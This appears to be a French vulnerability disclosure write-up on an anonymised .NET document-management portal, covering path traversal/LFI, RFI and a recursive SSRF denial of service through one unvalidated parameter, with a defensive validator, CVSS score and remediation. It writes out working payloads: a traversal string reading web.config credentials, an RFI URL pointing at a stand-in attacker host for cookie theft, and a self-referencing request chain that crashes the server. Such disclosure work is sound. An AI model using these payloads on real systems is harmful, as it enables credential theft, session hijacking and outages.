Finding sur une application de gestion documentaire (client/éditeur anonymisés). Découvert par 34zY / Hamza Terir ; générateur de payload développé from scratch. Divulgation tentée, restée sans réponse. Domaines, chemins internes et credentials réels retirés.
Contexte
Application web de gestion documentaire (pile .NET/IIS). Un paramètre Page d’un endpoint de portail contrôle le fichier à charger, sans authentification requise.
Comment je l’ai trouvée
Le paramètre Page est traité sans validation ni canonicalisation : les séquences ../ ne sont ni filtrées ni décodées.
-
Directory traversal / LFI: remontée arborescente pour lire des fichiers arbitraires :
?Page=..\..\..\..\web.configLe
web.configexposait la chaîne de connexion base de données (identifiants applicatifs), égalementapp.config, logs IIS, etc.
1a: Path traversal via le paramètre Page(sortie du répertoire applicatif).
1b: Inclusion locale, contenu de fichier serveur exposé dans la réponse. -
RFI: le même paramètre accepte une URL absolue, chargeant du contenu distant rendu dans le contexte de l’application.
?Page=https://attacker.tld/malicious.html→ XSS dans l’origine de confiance, vol de cookie, redirection phishing.
2a: Inclusion distante, contenu externe chargé côté serveur.
2b: Contenu distant rendu dans l’origine de confiance (XSS).
2c: Enchaînement RFI, étape 1.
2d: Enchaînement RFI, étape 2. -
SSRF récursif → DoS: en pointant
Pagevers l’endpoint lui-même, imbriqué en cascade, le serveur boucle sur ses propres requêtes jusqu’à épuisement des ressources (thread pool, mémoire) :?Page=<self-url>?Page=<self-url>?Page=<self-url>... (répété)Une seule requête suffit à faire tomber l’application pour tous les utilisateurs.
3: Épuisement des ressources, le serveur tombe sous la requête auto-référente.
Validation technique sécurisée
Le comportement de routage peut être vérifié avec un marqueur local et une seule requête contrôlée :
curl --fail-with-body --max-time 5 \
--get --data-urlencode 'Page=PORTFOLIO_TEST_MARKER' \
'https://AUTHORIZED_HOST/document'
La validation défensive doit appliquer une allowlist de pages et refuser les chemins absolus, les séparateurs encodés et les schémas distants :
from pathlib import PurePosixPath
def safe_page(value: str) -> str:
path = PurePosixPath(value)
if path.is_absolute() or ".." in path.parts or "://" in value:
raise ValueError("page outside approved document root")
return value
Le test SSRF/RFI utilise uniquement un service de canary appartenant au laboratoire et confirme l’absence de requête sortante.
La faille
Aucune validation du paramètre de chargement de fichier : path traversal (CWE-22), LFI (CWE-98), RFI (CWE-918) et consommation de ressources non bornée (CWE-400). Exploitable sans authentification ni interaction.
Impact
- Lecture de fichiers arbitraires : credentials base de données, secrets, clés.
- Injection de contenu distant (XSS/défiguration) dans l’origine de confiance.
- Déni de service applicatif déclenchable à volonté, sur une seule requête.
- Confidentialité + Intégrité + Disponibilité toutes trois compromises.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 (Critical).
Remédiation
- Liste blanche des pages autorisées ; rejeter toute URL absolue (
http://,https://). - Canonicaliser le chemin et vérifier qu’il reste dans le répertoire autorisé.
- Validation stricte du paramètre (
^[a-zA-Z0-9_-]+$), désactiver l’inclusion dynamique. - Rate-limiting et supervision des ressources pour détecter les tentatives de DoS ; en-têtes de sécurité.
CWE-22 · CWE-98 · CWE-918 · CWE-400.